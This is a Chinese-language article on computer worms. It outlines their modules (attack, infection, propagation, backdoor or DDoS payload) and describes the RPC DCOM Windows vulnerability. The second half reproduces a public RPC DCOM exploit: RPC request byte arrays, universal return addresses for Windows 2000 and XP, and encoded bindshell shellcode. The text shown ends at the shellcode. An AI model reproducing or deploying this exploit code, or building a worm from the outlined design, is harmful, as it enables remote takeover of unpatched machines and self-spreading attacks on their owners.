最近好象幾乎每一個大的漏洞公布出來，接著都會有一個針對這個漏洞的蠕蟲(worm) 流行，最近鬧得很兇的 RPC DCOM 漏洞估計也即將成為 worm 的新傳播載體。好象寫 worm 是一個熱門，很多人也覺得好奇，覺得 worm 是很深的一種技術(shù)，其實這個是很簡單的編程游戲而已。我一直有個想法就是想寫一篇關(guān)于 worm 的技術(shù)分析(---為了不教壞小孩子:)，只是一直懶得提筆，本人對蠕蟲的編寫已經(jīng)失去了興趣，現(xiàn)在在新的 worm 風(fēng)暴即將到來之前，我這里很簡單分析一下蠕蟲的相關(guān)技術(shù)，并對 RPC DCOM 蠕蟲進行一些設(shè)想。大家當(dāng)我是助“紂”為虐也好，故意賣弄也好，我覺得還是要寫這篇文章，一年多沒寫過文章了，同時也了卻了自己的一個心愿。你現(xiàn)在可以選擇不繼續(xù)往下看，但看完后不要對我吐口水。:) 


一 什么叫蠕蟲 

首先從 spark 的 《Internet蠕蟲的定義和歷史》文章中摘抄歡喂賾趙orm的解釋: 蠕蟲這個生物學(xué)名詞在1982年由Xerox PARC 的John F. Shoch等人最早引入計算機領(lǐng)域[30]，并給出了計算機蠕蟲的兩個最基本特征："可以從一臺計算機移動到另一臺計算機"和"可以自我復(fù)制"。他們編寫蠕蟲的目的是做分布式計算的模型試驗，在他們的文章中，蠕蟲的破壞性和不易控制已經(jīng)初露端倪。1988年Morris蠕蟲爆發(fā)后，Eugene H. Spafford 為了區(qū)分蠕蟲和病毒，給出了蠕蟲的技術(shù)角度的定義，"計算機蠕蟲可以獨立運行，并能把自身的一個包含所有功能的版本傳播到另外的計算機上。" （worm is a program that can run by itself and can propagate a fully working version of itself to other machines. ）。 

由于這里不是向大家介紹蠕蟲的定義和歷史就不多說了，大家如果對這些感興趣，可以到這里讀 spark 的文章http://www.nsfocus.net/index.php?act=magazine&;;do=view&mid=1851 

二 蠕蟲的組成部分 

一個蠕蟲的組成其實很簡單，由于我不是在這里教你們寫蠕蟲，也由于時間限制，我這里只簡單的說一些。 
我們可以把它看做一個工程，我們把這個工程分成 4 個模塊: 

1. 攻擊模塊 
首先得需要有一個大量系統(tǒng)受影響的能被簡單利用的嚴重漏洞，以便能夠遠程控制機器。比如猜測薄弱口令啊，遠程溢出啊等。 

2. 感染模塊 
考慮怎么讓對方被攻擊后，執(zhí)行你想要實現(xiàn)的功能，完成對一個主機的感染。對遠程溢出來說也就是完善shellcode了。這中間得考慮一個感染傳播(繁殖)途徑的問題。 

3. 傳播模塊 
比如，掃描一個網(wǎng)段有相關(guān)弱點的機器，存成一個文件，然后對這些IP進行攻擊，或者隨機生成IP然后對這些IP進行攻擊等。 
簡單的說就是掃描薄弱的機器。 

4. 功能模塊 
　 功能模塊其實是一個可要可不要的模塊，但如果你想對方感染蠕蟲后還在對方加上后門/DDoS等其他功能時，就必須得要有這個啦。 

　　其實，一個蠕蟲成功的關(guān)鍵是一個攻擊模塊和感染模塊。:) 


三 常見的蠕蟲的傳播(繁殖)途經(jīng) 


具體就不深入了, 只簡單列舉一下: 

1. email 

2. ftp 

3. http 

4. netbios 

5. tftp 

　 6. rcp 

7. 其他 


四 RPC DCOM 漏洞介紹 

RPC DCOM 漏洞是最近出的一個Windows系統(tǒng)的嚴重漏洞，也是有史以來最嚴重影響最廣泛的Windows漏洞。 

Remote Procedure Call (RPC)是運用于Windows操作系統(tǒng)上的一種協(xié)議。RPC提供相互處理通信機制，允許運行該程序的計算機在一個遠程系統(tǒng)上執(zhí)行代碼。RPC協(xié)議本身源于OSF (Open Software Foundation) RPC協(xié)議，后來又另外增加了一些Microsoft專用擴展功能。RPC中處理TCP/IP信息交換的模塊由于錯誤的處理畸形信息，遠程攻擊者可利用此缺陷以本地系統(tǒng)權(quán)限在系統(tǒng)上執(zhí)行任意指令。該缺陷影響使用RPC的DCOM接口，此接口處理由客戶端機器發(fā)送給服務(wù)器的DCOM對象激活請求(如UNC路徑)。攻擊者成功利用此缺陷可以以本地系統(tǒng)權(quán)限執(zhí)行任意指令。攻擊者可以在系統(tǒng)上執(zhí)行任意操作，如安裝程序、查看或更改、刪除數(shù)據(jù)或建立系統(tǒng)管理員權(quán)限的帳戶。 
這個漏洞影響如下Windows版本： 
Microsoft Windows XP SP1a 
Microsoft Windows XP SP1 
Microsoft Windows XP 
Microsoft Windows NT 4.0SP6a 
Microsoft Windows NT 4.0SP6 
Microsoft Windows NT 4.0SP5 
Microsoft Windows NT 4.0SP4 
Microsoft Windows NT 4.0SP3 
Microsoft Windows NT 4.0SP2 
Microsoft Windows NT 4.0SP1 
Microsoft Windows NT 4.0 
Microsoft Windows 2003 
Microsoft Windows 2000SP4 
Microsoft Windows 2000SP3 
Microsoft Windows 2000SP2 
Microsoft Windows 2000SP1 
Microsoft Windows 2000 

可以看到, 此漏洞影響除了WinME以下版本的Windows系統(tǒng)之外的所有其他Windows系統(tǒng)。同時，此漏洞能夠被攻擊者遠程利用， 
在沒有修補該漏洞的機器上可以遠程執(zhí)行任意代碼，導(dǎo)致攻擊者能夠完全控制有漏洞的機器。 


五 RPC DCOM 蠕蟲的設(shè)想 

1. 由于RPC COM已經(jīng)有攻擊未打補丁的Win2000/WinXP的通用攻擊代碼發(fā)布出來，因此該漏洞更有可能被利用制作成為能夠感染具有RPC DCOM漏洞的Win2000/WinXP機器的蠕蟲。 

如PacketStorm上公布的這個對Win2000和WinXP通用的Exploit: 


/* Windows 2003 <= remote RPC DCOM exploit 
* Coded by .:[oc192.us]:. Security 
* 
* Features: 
* 
* -d destination host to attack. 
* 
* -p for port selection as exploit works on ports other than 135(139,445,539 etc) 
* 
* -r for using a custom return address. 
* 
* -t to select target type (Offset) , this includes universal offsets for - 
* win2k and winXP (Regardless of service pack) 
* 
* -l to select bindshell port on remote machine (Default: 666) 
* 
* - Shellcode has been modified to call ExitThread, rather than ExitProcess, thus 
* preventing crash of RPC service on remote machine. 
* 
* This is provided as proof-of-concept code only for educational 
* purposes and testing by authorized individuals with permission to 
* do so. 
*/ 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* xfocus start */ 
unsigned char bindstr[]={ 
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; 

unsigned char request1[]={ 
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E 
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D 
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF 
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E 
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 
,0x00,0x00,0x00,0x00,0x00,0x00}; 

unsigned char request2[]={ 
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 
,0x00,0x00,0x5C,0x00,0x5C,0x00}; 

unsigned char request3[]={ 
0x5C,0x00 
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 
/* end xfocus */ 

int type=0; 
struct 
{ 
char *os; 
u_long ret; 
} 
targets[] = 
{ 
{ "[Win2k-Universal]", 0x0018759F }, 
{ "[WinXP-Universal]", 0x0100139d }, 
}, v; 


void usage(char *prog) 
{ 
int i; 
printf("RPC DCOM exploit coded by .:[oc192.us]:. Security\n"); 
printf("Usage:\n\n"); 
printf("%s -d [options]\n", prog); 
printf("Options:\n"); 
printf(" -d: Hostname to attack [Required]\n"); 
printf(" -t: Type [Default: 0]\n"); 
printf(" -r: Return address [Default: Selected from target]\n"); 
printf(" -p: Attack port [Default: 135]\n"); 
printf(" -l: Bindshell port [Default: 666]\n\n"); 
printf("Types:\n"); 
for(i = 0; i < sizeof(targets)/sizeof(v); i++) 
printf(" %d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os); 
exit(0); 
} 

unsigned char sc[]= 
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" 
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 
"\x46\x00\x58\x00\x46\x00\x58\x00" 

"\xff\xff\xff\xff" /* return address */ 

"\xcc\xe0\xfd\x7f" /* primary thread data block */ 
"\xcc\xe0\xfd\x7f" /* primary thread data block */ 

/* bindshell no RPC crash, defineable spawn port */ 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" 
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" 
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" 
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" 
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" 
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" 
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" 
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81" 
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" 
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" 
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" 
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" 
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" 
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" 
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" 
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" 
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" 
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" 
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" 
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" 
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" 
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" 
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" 
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" 
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" 
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" 
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" 
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" 
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" 
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" 
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" 
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";